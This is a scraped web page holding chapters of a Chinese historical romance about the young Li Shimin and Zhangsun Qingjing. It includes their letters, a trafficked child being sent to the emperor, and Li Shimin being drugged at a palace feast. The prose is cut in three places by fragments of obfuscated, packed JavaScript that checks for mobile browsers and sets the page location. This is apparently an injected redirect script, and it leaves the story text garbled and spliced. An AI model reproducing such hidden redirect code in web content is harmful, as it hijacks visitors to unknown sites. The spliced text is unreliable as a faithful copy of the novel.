l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16041792|178809||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 级的北语职位,连正式的委任状也没有,皇帝的口头任命也很潦草。我都不知道这个鲜卑语读音的职务有无对应的正语。陛下现在一时把我忘记了,也不知到了东都能不能回想起来?啊,我父亲在陇右一立功一得民心,陛下就会猜忌起我他,顺便想起我来了。” “轻点声。”青璟听说最近很多人因为捕风捉影的罪名而被处死,并不想李世民陷进去。 她的后背突然被钝物无端地捶打了一下,李世民的马嘶鸣不已作人立之态——一个疯子就这样不管不顾地朝着出行仪仗尾部的官吏车舆中冲去。 “大兴城的百姓们,快藏好家中美貌的幼女,尊贵的陛下要派爪牙抢走你们的掌上明珠!保护好你们的女儿啊!”凄厉的,癫狂的声音在围观的人群中传播。不久,缇骑卫兵应声而动,拖走了这个满口胡言、企图冲进卤簿尾梢的疯老汉。 李世民和长孙青璟被声嘶力竭的吼叫吓得目瞪口呆。 “你舅舅和母亲还好吧?”李世民控制住受惊地马,想释鞍和长孙青璟好好聊聊,却被长孙青璟阻止。 “我们都好,我替你把话传给全家了。外祖母特意叫我们来送行。说来你还是我们一家的恩人哩!”长孙青璟坦诚又矜持地说道,“虽然那天我们本来也能逃出去。” 李世民夹紧马腹,轻柔地控鞍靠近长孙青璟一些,微笑道:“那是自然,你哥哥勇毅,你机灵,都像你们的父亲右骁卫将军。” 长孙青璟本来只是小小的骄傲一下,并非不识好歹。但是李世民的夸赞反而让她脸红了。 她自认为端庄守礼,但外祖母那句“恩人”的提醒让她放下一部分矜持,开开心心来大兴城送别李世民。 “我哥哥是肯定回来送你的。”长孙青璟脸一红,“我念着你因为我们家的麻烦事被你大哥吊起来抽了一顿,就想着也该来送送你。” “哦,是外祖母逼着你来呢还是自己想来呢?”李世民有些调皮地追问。 “当然是我自己想来看皇帝的车驾咯。”她答非所问,又无比好奇地问道,“你这十天过得怎样?——舅舅都不让无忌来找你。” “背了一堆陛下的诗文;学了四声八病,做了几首歪诗——张先生已经断言我不会因为诗写得比陛下好而下狱;学了一堆蹈舞礼,母亲说我舞跳得不错,至少不会踩同伴的脚;滞留大兴洛阳亲戚说我穿得太村气;除了骂人蠢的话,我一句吴语也没学会;因为不出门,王无锝误以为我因争夺白鹘‘将军’被宇文家害死了,急得到处打听我的下落。” 青璟咯咯笑了起来:“你这十天准备得够详尽的。” “你是洛阳人,你外祖父是齐人,你们在中原一定有许多亲友,需要我带信吗?”他自告奋勇地问道。 “你到了洛阳,能帮我打听一下兵部尚书斛斯政的去向吗?斛斯尚书跟舅舅往来密切,近日离奇失踪了,有传言说他在辽东现身。又有传言说那是高句丽人的反间计,尚书本人可能已遭刺杀和抛尸。你到了皇帝身边,一定能见到宇文父子,他们耳目众多,一定在调查此事。我看舅舅最近忧心忡忡的,也不知道怎么帮他——喂!他在这里——”她又朝着长孙无忌挥了挥帔帛。 “好的,我设法打听。替我谢谢你外祖母!还需要我替你带什么呢?” 长孙青璟踌躇了一下,眼中突然闪现出仰慕的光芒:“你认识秘书郎虞世南吗?” “不认识。”李世民想了想,“只是听母亲说起过。” “那是紫金光禄大夫虞世基的弟弟。” “他哥哥的名声倒是如雷贯耳!”李世民笑了,不知道青璟为什么牵挂起一个佞臣的弟弟。 “能替我向他要几个字吗?或者你自己想办法弄几张他丢弃的帖子手条,随意涂鸦的就行,比如‘夜来腹痛帖’‘脚痛帖’‘请假帖’之类的……”青璟有些局促地举着尴尬的例子,“能够收到这样的纸条,我就得意坏了。” “好的好的,我懂了,带字的就行,一定办到。等我发达了,就再让这位大才子替你写一扇屏风。”李世民心中已经开始盘算怎么通过杨广和虞世基唱和,然后若无其事地打听起他的弟弟虞世南,最后拿着自己临摹的王字讨教虞世南,软磨硬缠一番,虞世南总会给国公儿子一个面子示范上几笔,那就把这难事办成了! “好啊,一言为定。”长孙望了望队伍的尾梢附近,“我哥哥看见你了,待会儿我就不插嘴了——” 她犹豫了一下,忽然微笑着问他:“你看看我的羃?,轻纱的宝相花暗纹好看吗?”李世民觉得自己一定是高兴得眼花了,她甚至无意识地摆了一下腰。 一点也不好看,显得你像一只行走的鸟笼!这是什么累赘?摘掉了羃?你才好看! 但是从他口中说出来的又是另一副情形。 “好看!”他干脆利落地逗笑了长孙青璟。 14. 鱼雁 长孙青璟最近喜欢在南山高处散步,期待看到一只白鹘将身负信函飞越群山。 虽然白鹘要捎带的书信很多,但是每一次必然有一封是独一无二的。 长孙情景身侧是汩汩的泉水,从山崖的罅隙中倾泻下来,垂挂在墨玉般的嶂壁上。水声潺潺,时而如环珮相击,时而似絮絮低语,与山间偶尔传来的鸟鸣应和着,轻轻流淌过少女紊乱又甜蜜的心间。 长孙青璟找到一块从山岩上翻卷而出的兀立的光洁的石块,石块在交映的疏条下散发着温润的光芒。她拂去石上几片金黄落叶,轻轻坐下。 她从怀中取出那封带着少女喜爱的泽兰香气的信笺,拆除蜡封,细细展开。藤纸发出轻微的脆响,伴随着阳光的起伏,似乎诉说着来信者跌宕不定的思绪。 违径旬日,思慕毋宁。 东都自今上即位来已经成为比大兴更为奢华的所在。只可惜我平日只能在李家积善坊旧宅,邙山别业与紫微宫之间走动,鲜有机常有会畅游一番。 我还是没有机会成为任何一位亲王的幕僚。 陛下初时对我颇多试探,常有骁果假意与我亲近,意图套出我和父亲对陛下反复无常的怨言,可惜均被我厉声呵斥了回去。近来这样的试探也渐渐稀疏了,陛下的兴趣显然又转到了别的勋贵身上。 陛下身边果然环绕着你所说的那三类人。 裴矩一边附和着陛下一边献上了《西域图记》。可惜陛下只爱听他的阿谀之词却嫌《图记》毫无文饰之美。草草赞许了几句便将《图记》束之高阁。每次看见裴矩失望地跪拜在杨广面前,我恨不得抢来《图记》自行览阅。 我想裴矩作为末等聪明人与那次等一等之人多少有些不同。比起东都的犬马声色,他甚至更怀念几十年前给右骁卫将军充当副手,在突厥出生入死的经历,怀念那个男儿有不世功业可建的年代。 当然,陛下是不想弄清他真实想法的。 次等聪明人虞世基简直是南陈江总一类的货色,薛道衡九泉之下有灵也会耻于曾与这样的标准“狎客”为同僚。内史侍郎终日思量的便是如何妙语连珠地挖苦臣下们的应制诗文,比如挖苦我的诗文徒有一纸王字可观。当然比挖苦众人更难的是如何每次唱和时都让陛下压着他一头又不被陛下察觉。 宇文述与云定兴大概就是传说中的顶尖聪敏之人了。这二人天天盯着群臣的异动以便在陛下面前捕风捉影。陛下平时想起惩处某人,往往让宇文述前往宣布敕令,于是宫中年轻的骁果们暗地里管许公作“夜枭”。因这头报丧鸟刚被陛下从狱中放出,故而近来办事颇为麻利。 而云定兴在我眼中便比宇文述更加可恶了十倍。他不但向陛下进献奇装异服,像个长舌妇一般聒噪,甚至常常与卢尚服斗气比试谁剪裁的男装更为美观得体。陛下竟然也由着他们在自己眼前舌战争宠,甚至充当仲裁者。双方委实争论不下时,陛下便将我叫去试穿那些式样纹饰都翻新的怪衣服。 好在云定兴新任了外职,不日离开东都。在宫中任职的姿貌瑰伟的少年便暗自庆幸自此只受卢尚服一人荼毒了。 我表姊仍是嫌我穿得一身村气。 我眼见的“国家大事”也便是这些了。当然,有时叛乱的急报如雪片飞来,陛下置若罔闻或者宁愿只听虞世基一面之词;有时陛下一时兴起,便连砍数位谏官的脑袋,这其中自然少不了裴蕴的功劳;有时迷楼里吊死个从未一睹天颜的妃嫔,陛下便诗情大发,累得一群根本听不懂他在写些什么的年轻人与他一同凭栏迎风落泪;有时宇文述振臂一呼,便引得群情激愤,大谈收复四郡,惹得陛下龙颜大悦。 我日日混迹于这群人之间,竟也学会了几句吴语讨好陛下。 大家都对斛斯政失踪之事讳莫如深,王尚仪劝我不要过问此事。待我与宇文驸马熟络之后再详问他。 近日没有见到虞世南。待我继续问询。 除此之外,洛阳一贯晴好。白马寺中有种从汉中引进的不知名鲜花,长得很惹人爱。也不知花蕾置于信中历经颠簸是否大半损毁。若不喜望明示。 你是否已行笄礼,若已行,能否告知新取的字。 李世民再拜言 信纸卷展的末端,一枝方含苞却已经干枯的牡丹落在长孙青璟的怀中。她心头微跳,呼吸急促,急趋离开山水胜景,骑马回到终南别业,迫不及待地拈毫弄管。 奉辞言展,遂隔数旬。時候徂秋,能无驰仰。 如公子所说,这里的男子们谈论最多的也无非时局,征辽等。年轻郎君们的争论焦点无非有三:四郡有无必要收回,如何以最小代价收回,近年役使民力是否已达顶点。 无忌近来颇有些无所事事,所幸尚有薛、颜两家同龄郎君与他同游。他定会在信中长谈一番,我也不多赘述。 你送的花颇为新奇漂亮,多方打探也不得其名。幸得吾友颜希和博闻强识,告知此为木芍药、牡丹、鹿韭,早年生长汉中,近年才有爱花之人栽培。花性高傲,非天凉不开,一瓣萎谢便全朵皆败,决不委曲求全。这性子倒是很让人感慨。 我又新养了只猞猁,舅父命我游逛南山时务必带上它以策万全。若你不介意,我可否管它叫“库直”? 替我问“将军”好。 斛斯政之事不要再问询了,保全自身为要。 未取字。 弃捐勿复道,努力加餐饭。 长孙青璟拜言 她在纸面上呵了几口气,细细叠好,交给阿彩:“连同我哥哥的信一同交给给李府的小知,再由她代为转交一包蜈蚣粉给我从叔母李陇月,就说是嫂子高氏说治疗气疾有奇效。” 仰望蓝天,几只鸟雀正向振翮而飞。 无忌来信说你微恙,是否还在调养。 数日无事,未料司马德戡这种武夫居然也练就了深沉心机,与一班弄臣同流合污。 一次游猎时,陛下命我二人比试骑射,他竟然三战皆败于我。想来也是我太过年轻气盛,也未估计虎贲郎将颜面扫地的后果。 陛下连连嗤笑他无用,谁料司马德戡竟然向陛下陈情道:“李库真所历战事并不及我多,况且真遇险情时,他那一身拳脚未必能全然施展开来。臣虽技逊一筹,但危难之时并不做他想,只以肉身为盾护卫陛下——决不似某些人只会炫耀些华而不实的招式……” 呜呼,堂堂武人是怎么学会后宫女子互相倾轧那一套!真是令人作呕。陛下只是解颐大笑夸奖虎贲郎将忠心耿耿。 我一时尴尬万分。这分明是讽刺我忠心不够么?好在驸马都尉宇文士及揶揄他:“虎贲郎将,你明知这孩子与他父亲一般,对陛下一片赤子之心天日可鉴,只不过也如其父般一贯敏于行讷于言,你就这般用言语挤兑他——是不是有些为老不尊啊!”围观骁果也都偷笑。 陛下方顺势给了我赏赐。因宇文士及是宇文述之子,司马德戡只得任由他调侃却不敢辩解。 其实我想说我才不是“讷于言”呢——司马德戡说了那一通歪理邪说之后我便摩拳擦掌,准备将身为虎贲郎将的他与我比试时那几十处不该出现的破绽合盘托出,顺便欣赏一下他吹胡子瞪眼睛的滑稽模样。可惜被宇文士及抢了先。 当然驸马与家父是莫逆之交,与宇文氏众人还是有些不同的。 好消息是:陛下终于决定不再征讨高句丽了。 裴矩私底下说只要主上安心在东都住上三年,哪怕什么都不做,只和虞世基、宇文化及吃吃喝喝,写写艳诗,国家的顽疾也就痊愈了。 承他吉言。 前几日我奉命巡视禁苑,见鹰隼被囚于笼中,便与司鹞的官员攀谈了几句。 司鹞说原本上好的鹞鹰在宫中饱食终日,无所事事,便缺了份难驯的野性。于是要么死,要么病。好在各地源源不断进贡而来,陛下对病死的鹞鹰也不以为意。 我与鹰隼们对视了许久,便找了一处清净之地,痛痛快快地哭了一场。不知到底是为了鹰隼,还是我自己。 我从小到大从未如此伤心过,哪怕九岁那年得了疫疠,躺在榻上偷听到郎中跟父母说我熬不过一个月时也不曾如此绝望过! 满纸胡言乱语,实在不成体统。只敢跟你说,你不会笑话我吧? 信中附有从寓居东都的高昌宗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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可是这孩子最近古古怪怪,好像喜欢独处,胃口也不好。每次长辈们进她房间时就像见了鬼似的,不知在看些什么书。 “舅母,我错了,我再也不看志怪了……”长孙青璟抽抽搭搭个不停。 鲜于氏有些愧疚,觉得归根结底是自己为了丈夫仕途不顺徒生烦扰,太过苛责孩子。 她便上前拍拍长孙青璟的背道:“没事,我年少时也爱看这些猎奇的东西,什么夜奔的鬼女,多情的狐妖,魂魄的爱恋,无一不喜。凡事适可而止……” 直觉促使她想问问这孩子上次信水是什么时候,最近是不是小腹间歇疼痛。如果是经候不定引发烦躁忧郁,不如延医求方,省得胡思乱想。 不可抑制的身体疼痛与不必要的自卑羞耻交织在一起的苦恼是每个成长中的少女必须经历的。 鲜于夫人自然也不例外,她想告诉甥女这就是蜕变,就像春蚕破茧,雏鸟换羽一般寻常。她突然觉得孩子最近的变化都是家人忽视的结果。她突然有种越俎代庖开导甥女的冲动。 “观音婢啊——”一开口,一阵干呕袭来,“不用跟来!” 鲜于夫人逃出了少女的卧室,放弃了进一步的试探与追问。 廊下守候的乳母挡住了长孙青璟的追赶,微笑道:“娘子不必管这些事情。待鲜于娘子身体稍缓再去问候即可。” 长孙青璟回到自己卧室,便提笔回信。 我无恙。 翔雁孤鸣,飞蓬独转之时我便记挂你。 舅舅近日常被御史台传唤,他与斛斯政只是在经学上有些交际,不亲不疏,故而御史台也查问不出什么讯息。舅父怕家人惊恐,总是只身出入。 我与母亲决意从南山别业搬回立政里。尽管也出不了什么主意,但是舅父需要家人陪伴,否则会被那些无礼的逼问和圈套逼疯。 大兴城已经被陛下遗忘了。传言一日暮鸦在仁智宫的上空翔集,宫人无法驱散;转而又直飞太极宫,此呼彼和,像黑网一样压向庑殿顶。不知道是何征兆。 哥哥的冠礼延期了。全家本来盼着他今年完婚。如今只能等一切尘埃落定再说。 你一定要保全自己,平安归来。 谨付一行,代申面及。 观音婢再拜言 黄昏微妙的暗紫从天际漫开,流入西天辉煌的落霞中。 暮色好像悬浮在浊流中的泥沙,一点一滴在山麓、谷底沉淀下来。 最后,就连青白的天穹也陡然熄灭了。 15. 御池 李世民讨厌紫薇宫无休无止的宴会。 诗歌、酬唱、音乐、歌舞占据了太多的时间,大好光阴也凝滞在麻醉人心的琼浆玉液之中。 甜蜜、辛辣、苦涩、欢愉夹杂于一处,溢满胸怀,唯独缺了一味。 希望! 初冬黄昏里,这个坠地天枢中所有的树木被装饰了绫罗绸缎,九州池还没有结冰。 李世民避开了百戏堂那些醉生梦死的男男女女,踯躅在这个引洛水而入宫城修葺的人工池边。 他随便找了条靠岸的小舟坐进去,从怀中掏出长孙青璟的数封来信,从头到尾一一细读。 看到长孙青璟为新买的猞猁取名“库直”时,他不禁微笑起来;看到她身体无甚大碍时,也松了一口气。 小舟的缆绳收束得松松垮垮,在偌大的九州池中,哪怕无风也要轻轻摆动。少年的心旌也跟着荡漾起来,屏蔽掉近来所有的不快。 现在唯一令他不太舒服的倒也不算皇帝和他的狎客佞幸们,而是舅母陈国夫人多次询问他有无心仪少女。他猜测这杨氏宗女又要写信给她母亲,对他未来的婚事指手画脚,便直言拒绝——借口是母亲已经为他挑选好未婚妻,皇帝回京之时便是他成亲之日。 撒下这弥天大谎的时候,他也担心长辈们一写信一碰面就全部露馅。但是一想到父母宠爱自己,母亲又对这位陈国夫人颇有微词,哪怕露馅了又有何妨,顶多被母亲骂上一句“促狭”,被父亲嘲笑“厚颜无耻”罢了,保不准一向沉稳的兄长觉得任性的弟弟敢为自己所不为还要夸上一句“大善”。 这可是合算的买卖! 他就这样捧着长孙青璟的来信躺在九州池的一叶扁舟上,畅想着计划着他们共同的未来,甚至都没有留心由远及近的脚步。 皇帝御前的红人萧矩拖拽着一个头戴幂篱的女孩来到他身边:“李世民,你划船,把她送去瑶光殿。” 说罢,他轻佻地搂着女孩的腰把她抛到船中。 李世民当然知道禁中男女不避的丑声。但是萧矩、宇文皛随意出入公主嫔妃寝宫,皇帝并不以为意。大家对这些事情也就见怪不怪。 女孩在船舱里趔趔趄趄地坐下,差点把他挤下池里。然后她就瑟缩着一言不发,青黑的幂篱掩盖不了瘦弱未成年的躯壳。 “这是新来的女御,你送去陶光园岛上,会有尚仪尚寝来接应。”萧矩命令道。 “我又不是小黄门。少侮辱人!” “这是皇帝对你的恩宠。”萧矩一身酒气,口齿不清地凑近说道,“你身手灵活力气大,好好看紧她,当心她跳湖。出了事陛下要怪罪的。” 西北角的百戏堂里,隐隐传来笑闹和乐器声。李世民很讨厌萧矩、宇文皛这些人教唆他酗酒,凌□□婢,甚至怂恿他与放荡的阿茶子们暧昧不清。他自认在这一堆纨绔里,持身颇正。但是每当推脱这类玩乐或者被察觉到不经意的蹙眉时,他就会被当成异类遭到无情的嗤笑。 他不知道瑶光殿里的皇帝又要玩些什么花样以至于需要他来当船夫,也懒得与眼前的女孩搭讪。只是机械地解开缆,点开船篙,向湖心最大的岛驶去。 女孩晃动了一下,手抓船舷,膝盖略微抬起。李世民回想起萧矩的警告,吓得直扑船头,将女孩往中间拽。 女孩惊叫一声,羃?掉落,花钿歪斜。 “你好好坐着,不要乱动!”李世民生气地呵斥。 女孩依旧沉默,一言不发地坐正。半幅羃?已经拖曳入水,又湿又重无法重新戴上。她不过十岁略出头,一个正常人甚至无法用“美”或者“丑”来形容这个年纪的孩子。 此时这个孩子却穿着新娘的吉服,画着一脸与年龄不相称的妆面,被送往年近五十的皇帝的住所。 所以,那些外界关于皇帝奇怪癖好的传言都是真的。 李世民心中作呕,想要杀了萧矩。英雄不在意激怀壮烈而死,小人不在意蝇营狗苟而生。若让英雄蝇营狗苟而生岂不是比活剐来他还难受!萧矩深谙此道,所以一再拖他下水,诱惑他同流合污。 “娘子,我跟你说啊,不要随便投湖,九州池里的水鬼会把你分尸。”他说着不着调的谎话,语气却温和了许多。似乎为了印证他的胡话,船桨经由之处泛起来阵阵腥臭。 “我没想跳湖。”女孩低下头,声音几不可闻,“我只想着有朝一日全家团圆。” 李世民半信半疑道:“那你自己坐稳了,我才学会划船没几天,水性也差,船翻了我也仅能自保,可救不了你。”对方提到家人时,李世民的心也软了下来,姑且相信她不寻死的保证了。 女孩仰起头,开始讲述起一些令人毛骨悚然的故事。 “我是长安县进贡给陛下的女童。”她一脸羞耻地回想起从长安到洛阳,被衙役从母亲手中强行夺走,被宦官、女史鞭笞教导,被皇亲国戚不怀好意地戏谑凌辱的经历,无比痛苦。 李世民握桨的手微微颤抖,下意识地放慢了速度。他有着一种与生俱来的共情能力,会用全副身心倾听上至达官贵人,下到贩夫走卒的荣辱悲欢,感同身受。这也往往让他的爱与憎更加的炽烈与尖锐。 “公子,你和那些抢走我的、鞭打我的、侮辱我的人不一样……我听说,去过瑶光殿的女童,没有不死不发疯的。”女孩试探着膝行凑近李世民,双手攥紧他胡服的下摆,俯身哀求道,“我不想死,求求你,放我逃走吧。” 李世民的心里一片混沌,他不知道这是一个不幸女孩异想天开的幻想,还是杨广不怀好意的试探,还是萧矩他们精心设计的恶作剧。 “我们怎么可以违抗圣意。”他以为自己清醒过来了,横过船桨,推开女孩。女孩冷冷地坐正,没有嚎啕大哭,她一路上经历来数次类似的试探,轻则被更加严格地看护起来,重则鞭打和挨饿,现在无非是最后的挣扎又失败而已。眼前的少年也无非是明哲保身者中的普通一员,既不刻薄也不暴虐。 他们僵持在湖心。女孩喃喃说道:“我叫斛律珣,家住明德门边的延祚里,父亲被征发修筑过洛阳宫,后来又去修筑永济渠。兄长第二次征讨辽东未曾归来。母亲多年积劳成疾。我每天临睡前数十遍地回忆和一家人在一起的时光,唯恐忘记;每天清晨醒来又把往事和亲人的模样回想一遍,唯恐将来相见时他们都认不出我来。你说,我们一家还能相见吗?” 初冬的湖风吹得少年眼眶微红,鼻子酸涩。他甚至认真考虑过怎么带着一个手无寸铁的女孩逃出紫微宫。智取的话很难通过重重哨卡,硬闯的话他需要从宿卫的禁军手里抢一把弓和一柄刀,最好再偷上一匹马,从西隔城向西逃到右夹城,绕过仪銮城,逃出宝城门,然后就逃出生天了。 他甩了甩头,把自己从梦呓中叫醒。无力感袭上心头。 “你们一家一定会见面的。” 南岸的尚寝尚仪女官已经看到他们,几个小黄门招手示意他们将船停靠在一处没有花树遮挡、乱石翻卷的埠头。 斛律珣幽幽地说:“我听变文里说,渡过一条河就到达来地府,焰魔在那里等我。我会忘了前世,但我不想忘记家人。” 这一天的落日令李世民永生难忘,巨大的金轮已经在人工堆砌的山丘那边沉下去了大半,可是辽阔的天空却依旧被太阳的余威熏染得像着了火一样通红。 透过瑶光殿的空中复道,可以看见湖另一边的观星台和荫殿。所有的围墙、廊柱和屋顶都淹没在一片火海中。九州池里好像流淌着血水,太阳越是西沉,炎焰越是高张,就像不断蔓延的火势,最后吞没了整个紫微宫。 没有比洛阳宫更恢弘的宫殿了,也没有比洛阳宫更狰狞的宫殿。 斛律珣平静地在船舷处探出头,对着九州池重新贴好花钿,戴上羃?,准备接受地狱的烈焰。然而,她又做错了什么? 李世民不知从哪里生出的勇气,将一个随身携带的玉勒子交给斛律珣。玉勒子上有一个观音像,那是他准备送给长孙青璟的礼物。 “你记着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他越过熙攘的人墙,随意灌了几杯酒,想找一个清净的去处。无奈总有敬酒的、递琵琶的、找他谈论骑射的人将他半道截住。他不得不敷衍几句。 “琵琶,鼓笛,都给我使劲!篝火,烧得再旺一点!”宇文皛由两个胡姬搀扶着,趔趔趄趄地走到李世民面前,“你跑那么远作甚?即刻有祆主表演幻术助兴:那胡人取一把横刀,刺进肚子,刀刃从后背伸出,肠子外露,血流如注。看得惊险之处,我们再拿一盆湖水朝他泼去……你猜猜他会变出什么?” “我不太舒服,失陪了。”李世民本来就讨厌这个无恶不作的纨绔,此刻更甚,就找个理由离开。 “不许走,陪我们看幻术!”宇文皛气急败坏地拽住李世民,却尴尬地发现半点扯不动。他便神秘兮兮地凑近李世民:“听说你奉命给陛下送了个女御,漂亮吗?你有没有一起进瑶光殿?” 李世民的满腹郁忿无处消解,有一头野兽在他身体中撞击,踊跃着要突破樊笼。 他默默揎袖,回头学着对方那小人得志的样子皮笑肉不笑地嘲弄道:“匈奴皂隶,何物等流!” 宇文皛来不及生气,下一刻,已经直挺挺躺在地上,口鼻处血肉模糊。 人群中一阵惊呼,有幸灾乐祸的,有恐惧震悚的。 “毘提诃,你要把婆罗门打破相啦!” “可怜那么一张清俊的脸哟。” 须臾间,老尚宫带着一群女史和小黄门拨开看热闹的贵戚们,吩咐医官给宇文皛治伤。 “公子们可不要再酗酒闹事了!”尚宫对年轻人们的肆意妄为很是恼怒。 “别乱摸脸,你下巴还在!让医官诊治。”她没好气地对宇文皛说。 “他辱我!他辱我!”宇文皛捂着流血处叫道。 “那你站起来跟他再打一架!打赢了,司马德戡也得跟你称兄道弟;打不赢,如何让他赔罪!”人群中传来好事少女的声音。 年轻的男男女女又是一阵哄笑,一个个恨不得把事情闹到皇帝面前。 李世民舒展拳头,甩了甩手,沉默着穿过人群。 这世间终于清静了一点。 16. 奇遇 赛祆仪式已经开始。当然宫廷表演是精简版的,没人去探究这个宗教到底信仰什么。 年轻人只是想看一场嗜血的表演,看人开膛破肚带来的刺激就像每年三次大傩仪后观赏肢解动物般淋漓酣畅。 李世民依旧坐在河边,心中草拟着写给长孙青璟的信。他想把所有事情的原委,心中的委屈愤怒与负罪感都告诉她。 他与洛阳的一切格格不入,只有和长安的亲友在一起,才有人间的感觉。 “李公子,安和好在!”一个带着面纱的女子突然出现在他眼前,腰肢袅娜,长裙曳地。 “这也是赛祆的一部分?要是我往你身上泼水,你就会化为乌有?”李世民烦躁地想把这个用绿色螺子黛化着浓阔广眉的女子赶走。 女子“咯咯”笑着,故意坐在他身边,扬起的帔帛擦过他的脸颊。“那你猜猜我是狐妖还是姮娥?” “没心情猜。”他直截了当地拒绝了。 “你这人真无趣。不过,宇文皛这个混蛋最近总惹我不痛快,有人替我打花了他的脸,我今晚心中一下子畅快了。公子,你觉得我美吗?” “你带着面纱,我看不出来。” “我听说,公子的母亲年轻时是大兴城王公贵族竞相追求的大美人。光是求婚的勋贵少年就不计其数。初时我是不信的,现在细细看你的脸,由不得我不信。你虽然不是你父亲的世子,但也勉强配得上我……” “娘子,我的母亲是十分贤惠的国公夫人。”李世民正色道,“即便是两京最轻佻的纨绔子弟,也只敢在我面前夸赞她的聪慧。你逾矩了!”他心中的无明业火熊熊燃起,若是对方是个男子,说出这种轻慢他母亲的话,他早就对她饱以老拳了。 “那我道歉。你不想看看我面纱下的样子吗?你既然打了宇文皛,就可以得到一点小小的奖励,比如我们在九州池里换个小岛作作诗,弹弹琵琶,我允许你向他炫耀我对你青眼有加。”女子柔弱无骨的手指滑过李世民的宽阔地肩头。 她已经开始想象两个少年为了她斗勇赛狠的样子,心中更加愉悦了。 “不管你是狐妖还是姮娥,我现在只想一个人呆着。把手拿开!我已经有心上人了。”李世民厉声喝止道。他只想吓退这个纠缠不清的女子,并不想再惹出新的事端。 被挫败的神秘女子尴尬一笑:“哎呦,看不出你对那位娘子情比金坚呢!她在附近哪个岛上玩乐吗?是哪家的女公子?” 两人正在拉扯时,远处突然传来一个浑厚的男声:“李公子,你舅父陈国公让我捎话给你……” “虞先生,你怎么也在这里?”来人正是秘书郎虞世南。想到也许有另一个格格不入的人与自己作伴,李世民的心情舒畅了起来。 “哼!”被拒绝得无比干脆的女子逃遁了。 虞世南神色疲惫,他被血腥的幻术和各种诗歌酬唱弄得精疲力竭。 两人面对面的第一句话出奇一致:“你为何在此?” “真是一言难尽。”李世民便把萧矩传话,送斛律珣面圣后自己误打误撞来到琉璃亭的原委说了一遍。 他坚信虞世南在紫薇城以正直和文才知名,决计不会把他的满腹牢骚告诉第三人。 虞世南听完这一番令人尴尬不已的描述,深感每一个字都是对自己正直人格的亵渎。 长久的沉寂之后,他开口道:“我也是满腹苦水。皇子皇女们今日做东,请波斯人赛祆。还向陛下点名要我作陪,陪他们唱和。真是乌烟瘴气,群魔乱舞。我的眼睛和脑子都污秽了。”他摇头叹气。 李世民搀扶他越过一段碎石地,问道:“虞先生,我舅父有何事嘱咐我?” 虞世南诡秘一笑:“我最近没有遇到过陈国公,只是想借故唬走纠缠你的娘子。” 想到虞世南有可能看到两人暧昧不清的样子,李世民顿时有些窘迫,害怕虞世南也将他当做宇文皛的一丘之貉,急于为自己辩白:“谢先生相助。我本来也正准备把她气走。” “我不想再写一些无病呻吟的诗了,就趁这些年轻人看幻术时溜走。正好遇到你,怕你惹上麻烦,就借你舅父的名义叫你。” “这女子知道我母亲的家世,看着不像教坊司的。也不知是哪位国公家恬不知耻的女公子。”一想到方才直白的诱惑,李世民又觉得作呕。 “恐怕不是什么女公子啊!”虞世南意味深长地说道,“只恐这深宫里有一些更肮脏龌龊的事情。” “阿茶家子?”李世民打了一个激灵,想起宫中皇女们的传闻,后怕起来。 幸好她未摘面纱,否则他不知明朝一觉醒来,皇女气急败坏之下,他会被裴蕴安上什么恶臭的罪名让全家蒙羞。 李世民发誓以后一定管好自己的嘴。如果皇女衔恨报复长孙青璟,事情可就不妙了。可是他分明只是远远见过三位皇女,如何让人误会成有意于她们。 “弄不好又是萧矩出的馊主意,故意在阿茶家子面前搬弄是非。”李世民今天受够了这群登徒子的戏弄,“先生且等我片刻,等我打断萧矩这个小人的腿再与先生详谈。” 一股郁愤之气直冲天灵盖,他攥紧了拳头,准备重新进入琉璃亭,恨不能拧断萧矩的脖子。 虞世南见眼前的少年脸色苍白,额上汗水涔涔,身体摇晃,言行开始变得癫狂,便拉他坐回河岸边。 “为了你父母兄弟,不要惹事。我问你,你刚才吃了什么奇怪的东西没有?” “没有。”李世民仔细回想了一下,“不过喝了几杯酒。” “酒的味道和平日一样吗?” 李世民努力回想着细节:“我记不真切了,好像有杯底有一种粉末,酒里带点酸味,还间杂着滞涩的甜,我以为就是没滤干净的浊酒的味道。” 虞世南叹了口气:“那大概就是那个鬼东西了,巢元方新方子里就有硫磺和紫石英。” “那是什么?”李世民警觉地问道。他突然拼命甩着头,指着虞世南的身后说道,“虞先生,你的背上为什么长出了四片蝉翼,月光下明晃晃的,上面的纹理真好看!” 虞世南瞪大了双目,把自己年轻时经历的一切荒唐事都回忆了一遍,也想象不出眼前少年见到的怪异情景。他只觉得又好笑又担心。 “公子,你误食了寒食散。最近,皇子皇女们嫌葛洪的老方子不够刺激,让巢元方调制了新药。虽说这散那丸毒死了不少人,不过这年头紫薇城里大家也都沾点让人飘飘欲仙的东西,否则会被人排挤……” “我会被毒死吗?”李世民的头开始发胀。 “吃一次不会有大碍,只是人分外燥热兴奋,无怪你总想打人。你自己细细想想,平日里会不会这么冲动爱闹事?你找个安静的角落睡上一觉就好了。湖边太冷,药效过了你非冻死在这里。皇帝不宣布宴会结束你又不能离开紫薇城——也不知道他现在何处。百戏台?阖闾阁?仙居台?总之就是行踪不定。来,我找个地方安顿你。”虞世南扶起这个有点暴躁的耿直大男孩,想把他拖离是非之地。 “虞先生,我头好痛。你看见一池子血水,闻到了腥臭了吗?瑶光殿着火了,把月亮都烧红了,你闻到木材砖石烧焦的味道了吗?”李世民跌跌撞撞,险些把虞世南一起带倒。 虞世南安慰他道:“这是寒食散带来的一点小小幻觉,你冷静点。这也好,要是阿茶子诬陷你,你一口咬定被人下了过量的寒食散,昏死过去什么都不记得了。到时我来作证。啊,我年轻时也被葛洪的老方子整治过几次。有一次,我吃了药,看见钟太尉和王右军正在下双陆棋——” “他们一定叫你替他们算输赢点数吧?”李世民感觉自己的舌头有些僵硬,但是听到虞世南提到钟繇、王羲之,便忍不住插上一句。 